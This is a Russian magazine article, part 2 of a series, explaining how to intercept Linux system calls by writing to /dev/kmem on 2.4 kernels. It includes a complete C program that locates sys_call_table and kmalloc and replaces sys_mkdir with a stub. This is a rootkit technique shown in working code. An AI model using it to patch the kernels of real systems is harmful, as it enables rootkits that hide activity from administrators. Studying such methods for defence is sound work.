Часть 2
Владимир Мешков
Общая методика перехвата
Рассмотрим сначала теоретически, как осуществляется перехват методом прямого
доступа к адресному пространству ядра, а затем приступим к практической реализации.
Прямой доступ к адресному пространству ядра
обеспечивает файл устройства /dev/kmem. В этом файле отображено все доступное
виртуальное адресное пространство, включая раздел подкачки (swap-область). Для
работы с файлом kmem используются стандартные системные функции – open(), read(),
write(). Открыв стандартным способом /dev/kmem, мы можем обратиться к любому
адресу в системе, задав его как смещение в этом файле. Данный метод был
разработан Сильвио Чезаре (Silvio Cesare) (см. статью «Runtime kernel kmem patching»,
Silvio Cesare, http://www.sans.org/rr/threats/rootkits.php).
Вспомним кратко механизм функционирования
системных вызовов в ОС Linux (см. мою статью «Перехват системных вызовов в ОС Linux».
– Журнал «Системный администратор». – 2003 г. №3(4). с.40-44).
Обращение к системной функции осуществляется
посредством загрузки параметров функции в регистры процессора и последующим
вызовом программного прерывания int $0x80. Обработчик этого прерывания, функция
system_call, помещает параметры вызова в стек, извлекает из таблицы sys_call_table
адрес вызываемой системной функции и передает управление по этому адресу.
Имея полный доступ к адресному пространству ядра,
мы можем получить все содержимое таблицы системных вызовов, т.е. адреса всех
системных функций. Изменив адрес любого системного вызова, мы, тем самым,
осуществим его перехват. Но для этого необходимо знать адрес таблицы, или,
другими словами, смещение в файле /dev/kmem, по которому эта таблица
расположена.
Чтобы определить адрес таблицы sys_call_table,
предварительно необходимо вычислить адрес функции system_call. Поскольку данная
функция является обработчиком прерывания, давайте рассмотрим, как
обрабатываются прерывания в защищенном режиме.
В реальном режиме процессор при регистрации
прерывания обращается к таблице векторов прерываний, находящейся всегда в самом
начале памяти и содержащей двухсловные адреса программ обработки прерываний. В
защищенном режиме аналогом таблицы векторов прерываний является таблица
дескрипторов прерываний (IDT, Interrupt Descriptor Table), располагающаяся в
операционной системе защищенного режима. Для того чтобы процессор мог
обратиться к этой таблице, ее адрес следует загрузить в регистр IDTR (Interrupt
Descriptor Table Register, регистр таблицы дескрипторов прерываний). Таблица
IDT содержит дескрипторы обработчиков прерываний, в которые, в частности,
входят их адреса. Эти дескрипторы называются шлюзами (вентилями). Процессор,
зарегистрировав прерывание, по его номеру извлекает из IDT шлюз, определяет
адрес обработчика и передает ему управление.
Для вычисления адреса функции system_call из
таблицы IDT необходимо извлечь шлюз прерывания int $0x80, а из него – адрес
соответствующего обработчика, т.е. адрес функции system_call. В функции system_call
обращение к таблице sys_call_table выполняет команда call <адрес
таблицы>(,%eax,4) (см. файл arch/i386/kernel/entry.S). Найдя опкод
(сигнатуру) этой команды в файле /dev/kmem, мы найдем и адрес таблицы системных
вызовов.
Для определения опкода воспользуемся отладчиком gdb.
Загрузим отладчик:
gdb -q /usr/src/linux/vmlinux
Дизассемблируем функцию system_call:
disass system_call
В ответ на экран будет выведен ассемблерный
листинг. В этом листинге ищем строку типа:
0xc010904d
<system_call+45>: call *0xc0200520(,%eax,4)
Это и есть обращение к таблице sys_call_table.
Значение 0xc0200520 – адрес таблицы (скорее всего, у вас числа будут другими).
Получим опкод этой команды:
x/xw (system_call+45)
Результат:
0xc010904d
<system_call+45>: 0x208514ff
Мы нашли опкод команды обращения к таблице sys_call_table.
Он равен \xff\x14\x85. Следующие за ним 4 байта – это адрес таблицы. Убедиться
в этом можно, введя команду:
x/xw (system_call+45+3)
В ответ получим:
0xc0109050
<system_call+48>: 0xc02000520
Таким образом, найдя в файле /dev/kmem
последовательность \xff\x14\x85 и считав следующие за ней 4 байта, мы получим
адрес таблицы системных вызовов sys_call_table. Зная ее адрес, мы можем
получить содержимое этой таблицы (адреса всех системных функций) и изменить
адрес любого системного вызова, перехватить его.
Рассмотрим псевдокод, выполняющий операцию
перехвата:
readaddr (&old_syscall, sct
+ SYS_CALL*4, 4);
writeaddr (new_syscall, sct +
SYS_CALL*4, 4);
Функция readaddr считывает адрес системного
вызова из таблицы системных вызовов и сохраняет его в переменной old_syscall.
Каждая запись в таблице sys_call_table занимает 4 байта. Искомый адрес
расположен по смещению sct+SYS_CALL*4 в файле /dev/kmem (здесь sct – адрес
таблицы sys_call_table, SYS_CALL – порядковый номер системного вызова). Функция
writeaddr перезаписывает адрес системного вызова SYS_CALL адресом функции new_syscall,
и все обращения к системному вызову SYS_CALL будут обслуживаться этой функцией.
Кажется, все просто и цель достигнута. Однако
давайте вспомним, что мы работаем в адресном пространстве пользователя. Если разместить
новую системную функцию в этом адресном пространстве, то при вызове этой
функции мы получим красивое сообщение об ошибке. Отсюда вывод – новый системный
вызов необходимо разместить в адресном пространстве ядра. Для этого необходимо:
получить блок памяти в пространстве ядра, разместить в этом блоке новый
системный вызов.
Выделить память в пространстве
ядра можно при помощи функции kmalloc. Но вызвать напрямую функцию ядра из
адресного пространства пользователя нельзя, поэтому воспользуемся следующим
алгоритмом:
n зная адрес таблицы sys_call_table, получаем
адрес некоторого системного вызова (например, sys_mkdir);
n определяем функцию, выполняющую обращение к функции
kmalloc. Эта функция возвращает указатель на блок памяти в адресном
пространстве ядра. Назовем эту функцию get_kmalloc;
n сохраняем первые N байт системного вызова sys_mkdir,
где N – размер функции get_kmalloc;
n перезаписываем первые N байт вызова sys_mkdir
функцией get_kmalloc;
n выполняем обращение к системному вызову sys_mkdir,
тем самым запустив на выполнение функцию get_kmalloc;
n восстанавливаем первые N байт системного вызова
sys_mkdir.
В результате в нашем распоряжении будет блок
памяти, расположенный в пространстве ядра.
Функция get_kmalloc выглядит следующим образом:
struct kma_struc {
ulong (*kmalloc) (uint,
int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed));
int get_kmalloc(struct kma_struc
*k)
{
k->mem = k->kmalloc(k->size,
k->flags);
return 0;
}
Поля структуры struct kma_struc
заполняются следующими значениями:
n поле size – требуемый размер блока памяти;
n поле флаг – спецификатор GFP_KERNEL. Для версий
ядра 2.4.9 и выше это значение составляет 0x1f0;
n поле mem – в этом поле будет сохранен указатель
на начало блока памяти длиной size, выделенного в адресном пространстве ядра
(возвращаемое функцией kmalloc значение);
n поле kmalloc – адрес функции kmalloc.
Адрес функции kmalloc необходимо найти. Сделать
это можно несколькими способами. Самый простой путь – считать этот адрес из
файла System.map или определить с помощью отладчика gdb (print &kmalloc).
Если в ядре включена поддержка модулей, адрес kmalloc можно определить при
помощи функции get_kernel_syms(). Этот вариант будет рассмотрен далее. Если же
поддержка модулей ядра отсутствует, то адрес функции kmalloc придется искать по
опкоду команды вызова kmalloc – аналогично тому, как было сделано для таблицы sys_call_table.
Функция kmalloc принимает два параметра: размер
запрашиваемой памяти и спецификатор GFP. Вызов этой функции выглядит следующим
образом:
push GFP_KERNEL
push size
call kmalloc
Для поиска опкода воспользуемся отладчиком и
дизассемблируем любую функцию ядра, в которой есть вызов функции kmalloc.
Загружаем отладчик:
gdb -q /usr/src/linux/vmlinux
Дизассемблируем функцию inter_module_register.
Неважно, что делает эта функция, главное, в ней есть то, что нам нужно – вызов
функции kmalloc:
disass inter_module_register
Сразу обращаем внимание на следующие строки:
0xc0110de4
<inter_module_register+4>: push $0x1f0
0xc0110de9
<inter_module_register+9>: push $0x14
0xc0110deb
<inter_module_register+11>: call 0xc0121c38 <kmalloc>
Это и есть вызов функции kmalloc. Сначала в стек
загружаются параметры, а затем следует вызов функции. Значение 0xc0121c38 в
вызове call является адресом функции kmalloc. Первым в стек загружается
спецификатор GFP (push $0x1f0). Как уже упоминалось, для версий ядра 2.4.9 и
выше это значение составляет 0x1f0. Найдем опкод этой команды:
x/xw
(inter_module_register+4)
В результате получаем:
0xc0110de4
<inter_module_register+4>: 0x0001f068
Если мы найдем этот опкод, то сможем вычислить
адрес функции kmalloc. На первый взгляд, адрес этой функции является аргументом
инструкции call, но это не совсем так. В отличии от функции system_call, здесь
за инструкцией call стоит не адрес kmalloc, а смещение к нему относительно
текущего адреса. Убедимся в этом, определив опкод команды call 0xc0121c38:
x/xw
(inter_module_register+11)
В ответ получаем:
0xc0110deb
<inter_module_register+11>: 0x010e48e8
Первый байт равен e8 – это опкод инструкции call.
Найдем значение аргумента этой команды:
x/xw
(inter_module_register+12)
Получим:
0xc0110deс
<inter_module_register+12>: 0x00010e48
Теперь если мы сложим текущий адрес 0xc0110deb,
смещение 0x00010e48 и 5 байт команды (1 байт инструкции call и 4 байта
смещения), то получим искомый адрес функции kmalloc:
0xc0110deb + 0x00010e48 + 5 =
0xc0121c38
На этом завершим теоретические выкладки и,
используя вышеприведенную методику, осуществим перехват системного вызова sys_mkdir.
Пример
перехвата системного вызова
В начале, как всегда, заголовочные файлы:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/module.h>
#include <linux/unistd.h>
Определим имя файла устройства виртуальной
памяти:
#define KMEM_FILE "/dev/kmem"
int main() {
Структура, описывающая формат регистра IDTR:
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
Структура, описывающая формат шлюза прерывания
таблицы IDT:
struct {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
Номер вызова, который мы будем перехватывать:
#define _SYS_MKDIR_ 39
Номер 39 соответствует системному вызову sys_mkdir.
Переменные и их назначение:
int kmem;
ulong get_kmalloc_size; –
размер функции get_kmalloc
ulong get_kmalloc_addr; –
адрес функции get_kmalloc
ulong new_mkdir_size; –
размер функции-перехватчика
ulong new_mkdir_addr; – адрес
функции-перехватчика вызова sys_mkdir
ulong sys_mkdir_addr; – адрес
системного вызова sys_mkdir
ulong page_offset; – нижняя
граница адресного пространства ядра
ulong sct; – адрес таблицы sys_call_table
ulong kma; – адрес функции kmalloc
unsigned char tmp[1024];
Значения адресов функций get_kmalloc и new_mkdir_call
и их размеры нам предстоит определить. Пока что оставим эти поля пустыми.
struct kma_struc {
ulong (*kmalloc) (uint,
int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed)) kmalloc;
int get_kmalloc(struct kma_struc
*k)
{
k->mem = k->kmalloc(k->size,
k->flags);
return 0;
}
Структура struct kma_struc и функция get_kmalloc
и их назначение уже были рассмотрены.
int new_mkdir(const char *path)
{
return 0;
}
Функция new_mkdir перехватывает системный вызов sys_mkdir.
Она ничего не делает, просто возвращает нулевое значение.
Определим несколько функций для работы с файлом
устройства /dev/kmem.
Функция чтения данных из kmem:
static inline int rkm(int fd,
uint offset, void *buf, uint size)
{
if (lseek(fd, offset,
0) != offset) return 0;
if (read(fd, buf, size)
!= size) return 0;
return size;
}
Функция записи данных в kmem:
static inline int wkm(int fd,
uint offset, void *buf, uint size)
{
if (lseek(fd, offset,
0) != offset) return 0;
if (write(fd, buf, size)
!= size) return 0;
return size;
}
Функция чтения 4-х байтового значения (int, unsigned
long) из kmem:
static inline int rkml(int fd,
uint offset, ulong *buf)
{
return rkm(fd, offset,
buf, sizeof(ulong));
}
Функция записи 4-х байтового значения в kmem:
static inline int wkml(int fd,
uint offset, ulong buf)
{
return wkm(fd, offset,
&buf, sizeof(ulong));
}
Функция определения адреса таблицы sys_call_table:
ulong get_sct()
{
int kmem;
ulong sys_call_off; –
адрес обработчика прерывания int $0x80 (функция system_call)
char *p;
char sc_asm[128];
Командой SIDT получаем содержимое регистра
таблицы дескрипторов прерываний. Результат команды поместим в структуру idtr:
asm("sidt %0" :
"=m" (idtr));
В поле base структуры idtr находится адрес
таблицы IDT. Зная этот адрес и размер шлюза в этой таблице (8 байт), получим
содержимое шлюза прерывания int $0x80 и извлечем из него адрес обработчика:
if (!rkm(kmem, idtr.base+(8*0x80),
&idt, sizeof(idt)))
return 0;
Содержимое шлюза поместим в структуру idt. Два
поля этой структуры, off1 и off2, содержат адрес обработчика (функции system_call).
В поле off1 находятся младшие 16 бит, а в поле off2 – старшие 16 бит адреса
обработчика. Для получения адреса обработчика сложим содержимое этих полей
следующим образом:
sys_call_off = (idt.off2
<< 16) | idt.off1;
Теперь нам известен адрес функции system_call
(если точнее, это не адрес, а смещение в сегменте команд). Для получения адреса
таблицы sys_call_table попытаемся найти опкод команды обращения к этой таблице.
Смещаемся по адресу функции system_call и
считываем первые 128 байт обработчика в буфер sc_asm:
if (!rkm(kmem, sys_call_off,
&sc_asm, 128)) return 0;
close(kmem);
В этом буфере ищем опкод обращения к таблице sys_call_table.
Поиск выполняется при помощи функции memmem. Данная функция возвращает
указатель на позицию в буфере, в которой была найдена эталонная строка. В нашем
случае эталонной строкой является опкод команды обращения к таблице sys_call_table
– \xff\x14\x85. Если этот опкод найден, то следующие за ним 4 байта будут
содержать адрес таблицы:
p = (char *)memmem(sc_asm,
128, "\xff\x14\x85", 3) + 3;
Если опкод удалось найти, возвращаем адрес
таблицы системных вызовов:
if (p) return *(ulong *)p;
В случае неудачи возвращаем нулевое значение:
return 0;
}
Функция для определения адреса функции kmalloc:
ulong get_kma(ulong pgoff)
{
uint i;
unsigned char buf[0x10000],
*p, *p1;
int kmem;
ulong ret;
Функция принимает один параметр – величину нижней
границы адресного пространства ядра. Это значение составляет 0xc0000000.
Если в ядре включена поддержка модулей, то
воспользуемся этим:
ret = get_sym("kmalloc");
if (ret) {
printf("\nZer gut!\n");
return ret;
}
Если нет, будем искать адрес по опкоду.
kmem = open("/dev/kmem",
O_RDONLY);
if (kmem < 0) return
0;
Для поиска нам придется просканировать все
адресное пространство ядра. Для этого организуем цикл:
for (i = pgoff+0x100000; i
< (pgoff + 0x1000000); i += 0x10000)
{
Считываем в буфер buf содержимое адресного
пространства ядра:
if (!rkm(kmem, i, buf, sizeof(buf)))
return 0;
В этом буфере ищем опкод команды push $0x1f0,
который, как нами установлено, равен \x68\xf0\x01\x00. Для поиска используем
функцию memmem:
p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4);
if(p1) {
Если последовательность \x68\xf0\x01\x00 найдена,
ищем опкод инструкции call (\xe8). Сразу за ним будет находиться смещение к
функции kmalloc относительно текущего адреса:
p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1;
if (p) {
В этом месте указатель p в буфере buf будет
позиционирован на смещении к функции kmalloc. Закрываем файл устройства и
возвращаем адрес kmalloc:
close(kmem);
return *(unsigned
long *)p+i+(p-buf)+4;
}
}
}
Если ничего найти не удалось, возвращаем нулевое
значение:
close(kmem);
return 0;
}
Функция get_sym используется, если в ядре
включена поддержка модулей. Данная функция принимает строку, содержащую имя
функции ядра, и возвращает ее адрес:
#define MAX_SYMS 4096
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms >
MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms;
i++) {
if (!strncmp(n,
tab[i].name, strlen(n)))
return
tab[i].value;
}
return 0;
}
Итак, все необходимые функции определены. Теперь
приступим непосредственно к перехвату системного вызова sys_mkdir. Определим
адреса таблицы системных вызовов (sct), функции kmalloc (kma) и нижней границы
адресного пространства ядра (page_offset):
sct = get_sct();
page_offset = sct &
0xF0000000;
kma = get_kma(page_offset);
Отобразим полученные данные:
printf("OK\n"
"page_offset\t\t:\t0x%08x\n"
"sys_call_table[]\t:\t0x%08x\n"
"kmalloc()\t\t:\t0x%08x\n",
page_offset,
sct,
kma);
kmem = open(KMEM_FILE,
O_RDWR, 0);
if (kmem < 0) return
0;
Для размещения функции new_mkdir в адресном
пространстве ядра выделим блок памяти. Для этого воспользуемся вышеприведенным
алгоритмом вызова функции ядра из пространства пользователя.
Получим адрес системного вызова sys_mkdir:
if (!rkml(kmem, sct+(_SYS_MKDIR_*4),
&sys_mkdir_addr)) {
printf("Cannot get addr
of %d syscall\n", _SYS_MKDIR_);
return 1;
}
Сохраним первые N байт этого вызова в буфере tmp,
где N=get_kmalloc_size (get_kmalloc_size – это размер функции get_kmalloc и его
предстоит определить):
if (!rkm(kmem, sys_mkdir_addr,
tmp, get_kmalloc_size)) {
printf("Cannot save old
%d syscall!\n", _SYS_MKDIR_);
return 1;
}
Перезаписываем N сохраненных байт системного
вызова sys_mkdir функцией get_kmalloc:
if (!wkm(kmem, sys_mkdir_addr,(void
*)get_kmalloc_addr, ї get_kmalloc_size)) {
printf("Can't overwrite our
syscall %d!\n",_SYS_MKDIR_);
return 1;
}
Адрес функции get_kmalloc (get_kmalloc_addr)
также предстоит определить.
Заполняем поля структуры struct kma_struc:
kmalloc.kmalloc = (void *) kma;
– адрес функции kmalloc
kmalloc.size = new_mkdir_size;
– размер запращевоемой
памяти (размер
функции-перехватчика new_mkdir)
kmalloc.flags = 0x1f0; –
спецификатор GFP
А теперь обращаемся к системному вызову sys_mkdir,
запустив тем самым на выполнение функцию get_kmalloc:
mkdir((char
*)&kmalloc,0);
В результате в пространстве ядра будет выделен
блок памяти, указатель на который будет записан в поле mem структуры struct kma_struc.
В этом блоке памяти мы разместим функцию new_mkdir, которая будет обслуживать
все обращения к системному вызову sys_mkdir.
Восстанавливаем системный вызов sys_mkdir:
if (!wkm(kmem, sys_mkdir_addr,
tmp, get_kmalloc_size)) {
printf("Can't restore
syscall %d !\n",_SYS_MKDIR_);
return 1;
}
Проверяем значение указателя на блок выделенной
памяти. Он должен располагаться выше нижней границы адресного пространства
ядра:
if (kmalloc.mem < page_offset)
{
printf("Allocated
memory is too low (%08x < %08x)\n",
kmalloc.mem,
page_offset);
return 1;
}
Отображаем результаты:
printf(
"sys_mkdir_addr\t\t:\t0x%08x\n"
"get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n"
"our kmem
region\t\t:\t0x%08x\n"
"size of
our kmem\t:\t0x%08x (%d bytes)\n\n",
sys_mkdir_addr,
get_kmalloc_size,
get_kmalloc_size,
kmalloc.mem,
kmalloc.size,
kmalloc.size);
Размещаем в пространстве ядра функцию new_mkdir:
if(!wkm(kmem, kmalloc.mem, (void
*)new_mkdir_addr, ї new_mkdir_size)) {
printf("Unable
to locate new system call !\n");
return 1;
}
и в таблице системных вызовов заменяем адрес функции
sys_mkdir адресом new_mkdir:
if(!wkml(kmem, sct+(_SYS_MKDIR_*4),
kmalloc.mem)) {
printf("Eh
...");
return 1;
}
return 1;
}
Сохраним вышеприведенный код в файле new_mkdir.c
и получим исполняемый модуль командой:
gcc -o new_mkdir new_mkdir.c
Но запускать на выполнение полученный модуль пока
рано. Нам еще необходимо определить адреса и размеры функций get_kmalloc и new_mkdir.
Для этого воспользуемся утилитой objdump. Введем команду:
objdump -x ./new_mkdir > dump
Вывод перенаправим в файл dump. Откроем этот файл
и найдем в нем следующие строки:
08048630 l F .text 00000038 get_kmalloc.39
08048668 l F .text 00000011 new_mkdir.43
Итак, адрес функции get_kmalloc – 0x08048630,
размер – 56 байт (0x38), адрес функции new_mkdir – 0x08048668, размер – 17 байт
(0x11).
Открываем файл new_mkdir.c и в разделе переменных
заполняем полученными значениями соответствующие поля:
ulong get_kmalloc_size=56;
– размер функции get_kmalloc
ulong
get_kmalloc_addr=0x08048630; – адрес функции get_kmalloc
ulong new_mkdir_size=17; –
размер функции new_mkdir
ulong new_mkdir_addr=0x08048668;
– адрес функции new_mkdir
После этого перекомпилируем модуль. Запустив его
на выполнение, мы осуществим перехват системного вызова sys_mkdir. Все
обращения к вызову sys_mkdir будут обслуживаться функцией new_mkdir. Чтобы
убедиться, что вызов перехвачен, введем команду mkdir <имя каталога>. При
этом ничего не произойдет, так как функция-перехватчик new_mkdir просто вернет
нулевое значение.
Работоспособность вышеприведенного кода была проверена
для ядер версий 2.4.17 и 2.4.20. При подготовке статьи были использованы
материалы сайта www.phrack.org.